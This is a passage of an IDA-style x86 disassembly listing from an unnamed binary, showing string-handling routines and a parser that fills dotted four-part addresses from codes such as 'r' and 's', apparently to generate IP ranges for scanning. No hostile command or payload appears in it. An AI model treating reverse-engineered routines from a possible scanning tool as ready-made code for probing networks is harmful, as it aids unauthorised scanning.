ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: sub_41349C+192p ; sub_41349C+3DAp var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41EF18 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset dword_418F54 push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: sub_41349C+12Ap var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41EF18 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset dword_418F54 push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: sub_40813C+2Dj ; sub_40813C+62j mov eax, 